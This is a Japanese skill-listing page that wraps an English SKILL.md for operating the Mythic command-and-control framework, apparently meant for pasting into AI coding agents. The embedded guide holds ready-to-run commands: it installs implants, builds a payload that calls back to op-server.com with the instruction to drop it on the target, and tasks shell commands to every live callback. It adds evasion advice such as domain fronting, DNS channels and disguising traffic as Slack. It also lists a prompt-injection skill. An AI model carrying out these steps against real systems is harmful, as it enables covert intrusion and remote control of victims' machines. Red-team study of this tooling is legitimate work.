c2-mythic
できること
このガイドは、コンテナと複数のエージェントの種類を使うMythicフレームワークを扱います。許可された演習で、複数のOSにまたがるテストを設定するレッドチームと、その痕跡を理解したい防御側向けです。
使う場面
- ✓許可された演習で、複数のオペレーティングシステムに対応するフレームワークが必要なとき。
- ✓テスト環境でどの種類のエージェントが動いているかを知る必要があるとき。
- ✓防御側が、Mythicが使うコンテナとコンソールを見分けたいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“許可された複数のOSにまたがる演習のために、Mythicフレームワークをどのように設定するかを説明し、防御側が何を探すべきかも教えてください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、コンテナ、Webコンソール、エージェントのモジュールを説明します。そして、対応する通信とプロセスを監視するよう提案します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Mythic C2 Operator Skill
Mythic (cody-thomas/Mythic) is a containerized, multi-agent C2 framework. Strengths: pluggable agents (~10+ official), good for cross-platform engagements, JSON-RPC tasking model is scriptable.
Setup (one-time, on the operator server)
# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install
# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena # cross-platform .NET 6
Agent matrix
| Agent | Platform | Lang | Best for |
|---|---|---|---|
| Apollo | Windows | C# / .NET Framework 3.5+ | Windows-heavy engagements, .NET interop |
| Poseidon | macOS, Linux | Go | Cross-platform, single static binary |
| Athena | Windows / macOS / Linux | .NET 6/7/8 | Modern .NET, AOT-compiled |
| Apfell | macOS | JavaScript for Automation (JXA) | Native macOS execution via osascript |
| Medusa | any | Python | Quick prototypes, fileless |
| Service Wrapper | Windows | C++ | Persistence via Windows service |
Profile matrix
Profiles = the comms channel. An agent can use one or more profiles.
| Profile | Transport | Detection |
|---|---|---|
| http | Plain HTTP(S) with configurable headers, paths, jitter, sleep | Easiest to fingerprint; use behind redirector + domain fronting |
| websocket | WS / WSS | Long-lived; suspicious from desktop |
| smb | Named pipe over SMB | Peer-to-peer between Apollo agents — no internet needed for inner workstations |
| dns | DNS TXT / A queries to attacker NS | Slow, but bypasses every HTTP-only firewall |
| peer-to-peer (SMB) | One agent forwards another's traffic | Use for deep network — only one egress point needed |
# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns
Build a payload (Apollo + http profile)
# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
--name "stage1" \
--description "Apollo http to op-server.com" \
--agent Apollo \
--c2_profile http \
--c2_profile_parameter callback_host=https://op-server.com \
--c2_profile_parameter callback_port=443 \
--c2_profile_parameter encrypted_exchange_check=T \
--c2_profile_parameter callback_interval=30 \
--c2_profile_parameter callback_jitter=20 \
--c2_profile_parameter killdate=2025-12-31 \
--build_parameter version=net4.0 \
--output_file stage1.exe
# Drop stage1.exe on the target — it calls back to op-server.com over HTTPS
Tasking from the operator
Mythic provides:
- Web UI (callback view → click + task)
mythic-cli scripting(Python wrapper)- Direct GraphQL API at
https://<host>:7443/v1/graphql
# Scripting example — list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
for cb in cbs:
await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'
OPSEC defaults
- Profile encryption: HTTP profile uses encrypted_exchange_check by default — key derived via Diffie-Hellman after the initial connect. Don't disable.
- Sleep / jitter: default 30s/20% is loud. Production engagements: 5-minute sleeps, 25% jitter, weekly killdate.
- Callback host: NEVER call back to a bare attacker IP. Use a domain on a CDN (CloudFront, Cloudflare), preferably with domain fronting.
- Build customization: Apollo's build config supports custom headers, paths, useragent — match the target's expected traffic pattern (Slack workspace? Use Slack-like headers
よくある質問
Mythicは何が違うのですか?
ガイドによると、異なるオペレーティングシステム向けの複数のエージェントを持つ、モジュール式の設計です。
コンソールはどこにありますか?
ガイドによると、オペレーターのサーバー上の安全なポートで動くWebコンソールです。
誰が実行すべきですか?
業務のルールの範囲内で作業する、許可を得たレッドチームです。
詳細
作者による元の説明
Mythic C2 framework operations — multi-agent (Apfell, Apollo, Athena, Poseidon, Medusa), web UI on 7443, RabbitMQ + PostgreSQL backend, JSON-RPC tasking model, building an agent via mythic-cli, profile design (HTTP/SMB/named pipe/peer-to-peer), opsec defaults. Comparison to Sliver: more pluggable, less polished UI.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14132
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。